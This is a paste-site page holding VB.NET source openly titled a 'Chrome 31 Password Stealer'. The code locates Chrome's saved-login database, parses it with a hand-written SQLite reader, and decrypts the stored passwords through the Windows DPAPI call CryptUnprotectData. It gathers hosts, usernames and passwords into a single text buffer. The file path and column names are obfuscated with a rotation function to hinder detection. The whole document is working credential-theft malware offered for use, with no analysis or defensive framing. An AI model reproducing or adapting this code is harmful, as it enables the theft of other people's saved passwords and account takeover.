Chrome 31 Password Stealer


SUBMITTED BY: Guest

DATE: Dec. 29, 2013, 4:44 p.m.

FORMAT: Text only

SIZE: 22.2 kB

HITS: 1158

  1. Namespace Dark
  2. #Region "Chrome"
  3. Module DecryptChr
  4. Public Function GetChr() As String
  5. Dim Buffer As String = NativeMethods.RotateRight("888888888888888888888888888888888>cmjh`8888888888888888888888888888888888") & Environment.NewLine
  6. Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + NativeMethods.RotateRight("WBjjbg`W>cmjh`WPn`m?\o\W?`a\pgoWGjbdi?\o\")
  7. Try
  8. Dim SQLDatabase = New SQLiteHandler(datapath)
  9. SQLDatabase.ReadTable("logins")
  10. If IO.File.Exists(datapath) Then
  11. Dim host As String
  12. Dim user As String
  13. Dim pass As String
  14. For i As Int32 = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  15. host = SQLDatabase.GetValue(i, NativeMethods.RotateRight("jmdbdiZpmg"))
  16. user = SQLDatabase.GetValue(i, NativeMethods.RotateRight("pn`mi\h`Zq\gp`"))
  17. pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, NativeMethods.RotateRight("k\nnrjm_Zq\gp`"))))
  18. If (user <> "") And (pass <> "") Then
  19. Buffer += ("Host: " + host & vbNewLine & "UserName: " + user & vbNewLine & "Password: " + pass & vbNewLine + "=========================================================================" & vbNewLine)
  20. End If
  21. Next
  22. End If
  23. Catch e As Exception
  24. End Try
  25. Return Buffer
  26. End Function
  27. <Runtime.InteropServices.DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  28. Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  29. End Function
  30. <Flags()> Enum CryptProtectPromptFlags
  31. CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  32. CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  33. End Enum
  34. <Runtime.InteropServices.StructLayout(Runtime.InteropServices.LayoutKind.Sequential, CharSet:=Runtime.InteropServices.CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  35. Public cbSize As Integer
  36. Public dwPromptFlags As CryptProtectPromptFlags
  37. Public hwndApp As IntPtr
  38. Public szPrompt As String
  39. End Structure
  40. <Runtime.InteropServices.StructLayout(Runtime.InteropServices.LayoutKind.Sequential, CharSet:=Runtime.InteropServices.CharSet.Unicode)> Structure DATA_BLOB
  41. Public cbData As Integer
  42. Public pbData As IntPtr
  43. End Structure
  44. Function Decrypt(ByVal Datas() As Byte) As String
  45. Dim inj, Ors As New DATA_BLOB
  46. Dim Ghandle As Runtime.InteropServices.GCHandle = Runtime.InteropServices.GCHandle.Alloc(Datas, Runtime.InteropServices.GCHandleType.Pinned)
  47. inj.pbData = Ghandle.AddrOfPinnedObject()
  48. inj.cbData = Datas.Length
  49. Ghandle.Free()
  50. CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  51. Dim Returned() As Byte = New Byte(Ors.cbData) {}
  52. Runtime.InteropServices.Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  53. Dim TheString As String = System.Text.Encoding.Default.GetString(Returned)
  54. Return TheString.Substring(0, TheString.Length - 1)
  55. End Function
  56. End Module
  57. Public Class SQLiteHandler
  58. Private db_bytes() As Byte
  59. Private page_size As UInt16
  60. Private encoding As UInt64
  61. Private master_table_entries() As sqlite_master_entry
  62. Private SQLDataTypeSize() As Byte = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
  63. Private table_entries() As table_entry
  64. Private field_names() As String
  65. Private Structure record_header_field
  66. Dim size As Int64
  67. Dim type As Int64
  68. End Structure
  69. Private Structure table_entry
  70. Dim row_id As Int64
  71. Dim content() As String
  72. End Structure
  73. Private Structure sqlite_master_entry
  74. Dim row_id As Int64
  75. Dim item_type As String
  76. Dim item_name As String
  77. Dim astable_name As String
  78. Dim root_num As Int64
  79. Dim sql_statement As String
  80. End Structure
  81. Private Function GVL(ByVal startIndex As Integer) As Integer
  82. If startIndex > db_bytes.Length Then Return Nothing
  83. For i As Int32 = startIndex To startIndex + 8 Step 1
  84. If i > db_bytes.Length - 1 Then
  85. Return Nothing
  86. ElseIf (db_bytes(i) And &H80) <> &H80 Then
  87. Return i
  88. End If
  89. Next
  90. Return startIndex + 8
  91. End Function
  92. Private Function CVL(ByVal startIndex As Integer, ByVal endIndex As Integer) As Int64
  93. endIndex = endIndex + 1
  94. Dim retus(7) As Byte
  95. Dim Length = endIndex - startIndex
  96. Dim Bit64 As Boolean = False
  97. If Length = 0 Or Length > 9 Then Return Nothing
  98. If Length = 1 Then
  99. retus(0) = CByte((db_bytes(startIndex) And &H7F))
  100. Return BitConverter.ToInt64(retus, 0)
  101. End If
  102. If Length = 9 Then
  103. Bit64 = True
  104. End If
  105. Dim j As Integer = 1
  106. Dim k As Integer = 7
  107. Dim y As Integer = 0
  108. If Bit64 Then
  109. retus(0) = db_bytes(endIndex - 1)
  110. endIndex = endIndex - 1
  111. y = 1
  112. End If
  113. For i As Int32 = (endIndex - 1) To startIndex Step -1
  114. If (i - 1) >= startIndex Then
  115. retus(y) = CByte(((db_bytes(i) >> (j - 1)) And (&HFF >> j)) Or (db_bytes(i - 1) << k))
  116. j = j + 1
  117. y = y + 1
  118. k = k - 1
  119. Else
  120. If Not Bit64 Then retus(y) = CByte(((db_bytes(i) >> (j - 1)) And (&HFF >> j)))
  121. End If
  122. Next
  123. Return BitConverter.ToInt64(retus, 0)
  124. End Function
  125. Private Function IsOdd(ByVal value As Int64) As Boolean
  126. Return (value And 1) = 1
  127. End Function
  128. Private Function ConvertToInteger(ByVal startIndex As Integer, ByVal Size As Integer) As UInt64
  129. If Size > 8 Or Size = 0 Then Return Nothing
  130. Dim retVal As UInt64 = 0
  131. For i As Int32 = 0 To Size - 1 Step 1
  132. retVal = ((retVal << 8) Or db_bytes(startIndex + i))
  133. Next
  134. Return retVal
  135. End Function
  136. Private Sub ReadMasterTable(ByVal Offset As UInt64)
  137. If db_bytes(CInt(Offset)) = &HD Then
  138. Dim Length As UInt16 = CUShort(ConvertToInteger(CInt(Offset + 3), 2) - 1)
  139. Dim ol As Integer = 0
  140. If Not master_table_entries Is Nothing Then
  141. ol = master_table_entries.Length
  142. ReDim Preserve master_table_entries(master_table_entries.Length + Length)
  143. Else
  144. ReDim master_table_entries(Length)
  145. End If
  146. Dim ent_offset As UInt64
  147. For i As Int32 = 0 To Length Step 1
  148. ent_offset = ConvertToInteger(CInt(Offset + 8 + (i * 2)), 2)
  149. If Offset <> 100 Then ent_offset = ent_offset + Offset
  150. Dim t = GVL(CInt(ent_offset))
  151. Dim size As Int64 = CVL(CInt(ent_offset), CInt(t))
  152. Dim s = GVL(CInt(ent_offset + (t - ent_offset) + 1))
  153. master_table_entries(ol + i).row_id = CVL(CInt(ent_offset + (t - ent_offset) + 1), CInt(s))
  154. ent_offset = CULng(ent_offset + (s - ent_offset) + 1)
  155. t = GVL(CInt(ent_offset))
  156. s = t
  157. Dim Rec_Header_Size As Int64 = CVL(CInt(ent_offset), CInt(t))
  158. Dim Field_Size(4) As Int64
  159. For j As Int32 = 0 To 4 Step 1
  160. t = s + 1
  161. s = GVL(CInt(t))
  162. Field_Size(j) = CVL(CInt(t), CInt(s))
  163. If Field_Size(j) > 9 Then
  164. If IsOdd(Field_Size(j)) Then
  165. Field_Size(j) = CLng((Field_Size(j) - 13) / 2)
  166. Else
  167. Field_Size(j) = CLng((Field_Size(j) - 12) / 2)
  168. End If
  169. Else
  170. Field_Size(j) = SQLDataTypeSize(CInt(Field_Size(j)))
  171. End If
  172. Next
  173. If encoding = 1 Then
  174. master_table_entries(ol + i).item_type = System.Text.Encoding.Default.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size), CInt(Field_Size(0)))
  175. ElseIf encoding = 2 Then
  176. master_table_entries(ol + i).item_type = System.Text.Encoding.Unicode.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size), CInt(Field_Size(0)))
  177. ElseIf encoding = 3 Then
  178. master_table_entries(ol + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size), CInt(Field_Size(0)))
  179. End If
  180. If encoding = 1 Then
  181. master_table_entries(ol + i).item_name = System.Text.Encoding.Default.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + Field_Size(0)), CInt(Field_Size(1)))
  182. ElseIf encoding = 2 Then
  183. master_table_entries(ol + i).item_name = System.Text.Encoding.Unicode.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + Field_Size(0)), CInt(Field_Size(1)))
  184. ElseIf encoding = 3 Then
  185. master_table_entries(ol + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + Field_Size(0)), CInt(Field_Size(1)))
  186. End If
  187. master_table_entries(ol + i).root_num = CLng(ConvertToInteger(CInt(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2)), CInt(Field_Size(3))))
  188. If encoding = 1 Then
  189. master_table_entries(ol + i).sql_statement = System.Text.Encoding.Default.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3)), CInt(Field_Size(4)))
  190. ElseIf encoding = 2 Then
  191. master_table_entries(ol + i).sql_statement = System.Text.Encoding.Unicode.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3)), CInt(Field_Size(4)))
  192. ElseIf encoding = 3 Then
  193. master_table_entries(ol + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3)), CInt(Field_Size(4)))
  194. End If
  195. Next
  196. ElseIf db_bytes(CInt(Offset)) = &H5 Then
  197. Dim Length As UInt16 = CUShort(ConvertToInteger(CInt(Offset + 3), 2) - 1)
  198. Dim ent_offset As UInt16
  199. For i As Int32 = 0 To Length Step 1
  200. ent_offset = CUShort(ConvertToInteger(CInt(Offset + 12 + (i * 2)), 2))
  201. If Offset = 100 Then
  202. ReadMasterTable(CULng((ConvertToInteger(ent_offset, 4) - 1) * page_size))
  203. Else
  204. ReadMasterTable(CULng((ConvertToInteger(CInt(Offset + ent_offset), 4) - 1) * page_size))
  205. End If
  206. Next
  207. ReadMasterTable(CULng((ConvertToInteger(CInt(Offset + 8), 4) - 1) * page_size))
  208. End If
  209. End Sub
  210. Private Function ReadTableFromOffset(ByVal Offset As UInt64) As Boolean
  211. If db_bytes(CInt(Offset)) = &HD Then
  212. Dim Length As UInt16 = CUShort(ConvertToInteger(CInt(Offset + 3), 2) - 1)
  213. Dim ol As Integer = 0
  214. If Not table_entries Is Nothing Then
  215. ol = table_entries.Length
  216. ReDim Preserve table_entries(table_entries.Length + Length)
  217. Else
  218. ReDim table_entries(Length)
  219. End If
  220. Dim ent_offset As UInt64
  221. For i As Int32 = 0 To Length Step 1
  222. ent_offset = ConvertToInteger(CInt(Offset + 8 + (i * 2)), 2)
  223. If Offset <> 100 Then ent_offset = ent_offset + Offset
  224. Dim t = GVL(CInt(ent_offset))
  225. Dim size As Int64 = CVL(CInt(ent_offset), CInt(t))
  226. Dim s = GVL(CInt(ent_offset + (t - ent_offset) + 1))
  227. table_entries(ol + i).row_id = CVL(CInt(ent_offset + (t - ent_offset) + 1), CInt(s))
  228. ent_offset = CULng(ent_offset + (s - ent_offset) + 1)
  229. t = GVL(CInt(ent_offset))
  230. s = t
  231. Dim Rec_Header_Size As Int64 = CVL(CInt(ent_offset), CInt(t))
  232. Dim Field_Size() As record_header_field = Nothing
  233. Dim size_read As Int64 = CLng((ent_offset - t) + 1)
  234. Dim j = 0
  235. While size_read < Rec_Header_Size
  236. ReDim Preserve Field_Size(j)
  237. t = s + 1
  238. s = GVL(CInt(t))
  239. Field_Size(j).type = CVL(CInt(t), CInt(s))
  240. If Field_Size(j).type > 9 Then
  241. If IsOdd(Field_Size(j).type) Then
  242. Field_Size(j).size = CLng((Field_Size(j).type - 13) / 2)
  243. Else
  244. Field_Size(j).size = CLng((Field_Size(j).type - 12) / 2)
  245. End If
  246. Else
  247. Field_Size(j).size = SQLDataTypeSize(CInt(Field_Size(j).type))
  248. End If
  249. size_read = size_read + (s - t) + 1
  250. j = j + 1
  251. End While
  252. ReDim table_entries(ol + i).content(Field_Size.Length - 1)
  253. Dim counter As Integer = 0
  254. For k As Int32 = 0 To Field_Size.Length - 1 Step 1
  255. If Field_Size(k).type > 9 Then
  256. If Not IsOdd(Field_Size(k).type) Then
  257. If encoding = 1 Then
  258. table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + counter), CInt(Field_Size(k).size))
  259. ElseIf encoding = 2 Then
  260. table_entries(ol + i).content(k) = System.Text.Encoding.Unicode.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + counter), CInt(Field_Size(k).size))
  261. ElseIf encoding = 3 Then
  262. table_entries(ol + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + counter), CInt(Field_Size(k).size))
  263. End If
  264. Else
  265. table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, CInt(ent_offset + Rec_Header_Size + counter), CInt(Field_Size(k).size))
  266. End If
  267. Else
  268. table_entries(ol + i).content(k) = CStr(ConvertToInteger(CInt(ent_offset + Rec_Header_Size + counter), CInt(Field_Size(k).size)))
  269. End If
  270. counter = CInt(counter + Field_Size(k).size)
  271. Next
  272. Next
  273. ElseIf db_bytes(CInt(Offset)) = &H5 Then
  274. Dim Length As UInt16 = CUShort(ConvertToInteger(CInt(Offset + 3), 2) - 1)
  275. Dim ent_offset As UInt16
  276. For i As Int32 = 0 To Length Step 1
  277. ent_offset = CUShort(ConvertToInteger(CInt(Offset + 12 + (i * 2)), 2))
  278. ReadTableFromOffset(CULng((ConvertToInteger(CInt(Offset + ent_offset), 4) - 1) * page_size))
  279. Next
  280. ReadTableFromOffset(CULng((ConvertToInteger(CInt(Offset + 8), 4) - 1) * page_size))
  281. End If
  282. Return True
  283. End Function
  284. Public Function ReadTable(ByVal TableName As String) As Boolean
  285. Dim found As Integer = -1
  286. For i As Int32 = 0 To master_table_entries.Length Step 1
  287. If master_table_entries(i).item_name.ToLower().CompareTo(TableName.ToLower()) = 0 Then
  288. found = i
  289. Exit For
  290. End If
  291. Next
  292. If found = -1 Then Return False
  293. Dim fields() = master_table_entries(found).sql_statement.Substring(master_table_entries(found).sql_statement.IndexOf("(") + 1).Split(CChar(","))
  294. For i As Int32 = 0 To fields.Length - 1 Step 1
  295. fields(i) = LTrim(CStr(fields(i)))
  296. Dim index = fields(i).IndexOf(" ")
  297. If index > 0 Then fields(i) = fields(i).Substring(0, index)
  298. If fields(i).IndexOf("UNIQUE") = 0 Then
  299. Exit For
  300. Else
  301. ReDim Preserve field_names(i)
  302. field_names(i) = CStr(fields(i))
  303. End If
  304. Next
  305. Return ReadTableFromOffset(CULng((master_table_entries(found).root_num - 1) * page_size))
  306. End Function
  307. Public Function GetRowCount() As Integer
  308. Return table_entries.Length
  309. End Function
  310. Public Function GetValue(ByVal row_num As Integer, ByVal field As Integer) As String
  311. If row_num >= table_entries.Length Then Return Nothing
  312. If field >= table_entries(row_num).content.Length Then Return Nothing
  313. Return table_entries(row_num).content(field)
  314. End Function
  315. Public Function GetValue(ByVal row_num As Integer, ByVal field As String) As String
  316. Dim found As Integer = -1
  317. For i As Int32 = 0 To field_names.Length Step 1
  318. If field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then
  319. found = i
  320. Exit For
  321. End If
  322. Next
  323. If found = -1 Then Return Nothing
  324. Return GetValue(row_num, found)
  325. End Function
  326. Public Function GetTableNames() As String()
  327. Dim retVal As String() = Nothing
  328. Dim arr = 0
  329. For i As Int32 = 0 To master_table_entries.Length - 1 Step 1
  330. If master_table_entries(i).item_type = "table" Then
  331. ReDim Preserve retVal(arr)
  332. retVal(arr) = master_table_entries(i).item_name
  333. arr = arr + 1
  334. End If
  335. Next
  336. Return retVal
  337. End Function
  338. Public Sub New(ByVal baseName As String)
  339. If IO.File.Exists(baseName) Then
  340. FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  341. Dim asi As String = Space(CInt(LOF(1)))
  342. FileGet(1, asi)
  343. FileClose(1)
  344. db_bytes = System.Text.Encoding.Default.GetBytes(asi)
  345. If System.Text.Encoding.Default.GetString(db_bytes, 0, 15).CompareTo(NativeMethods.RotateRight("NLGdo`ajmh\o.")) <> 0 Then
  346. Throw New Exception("0")
  347. End
  348. End If
  349. If db_bytes(52) <> 0 Then
  350. Throw New Exception("0")
  351. End
  352. ElseIf ConvertToInteger(44, 4) >= 4 Then
  353. Throw New Exception("0")
  354. End
  355. End If
  356. page_size = CUShort(ConvertToInteger(16, 2))
  357. encoding = ConvertToInteger(56, 4)
  358. If encoding = 0 Then encoding = 1
  359. ReadMasterTable(100)
  360. End If
  361. End Sub
  362. End Class
  363. #End Region
  364. End Namespace

comments powered by Disqus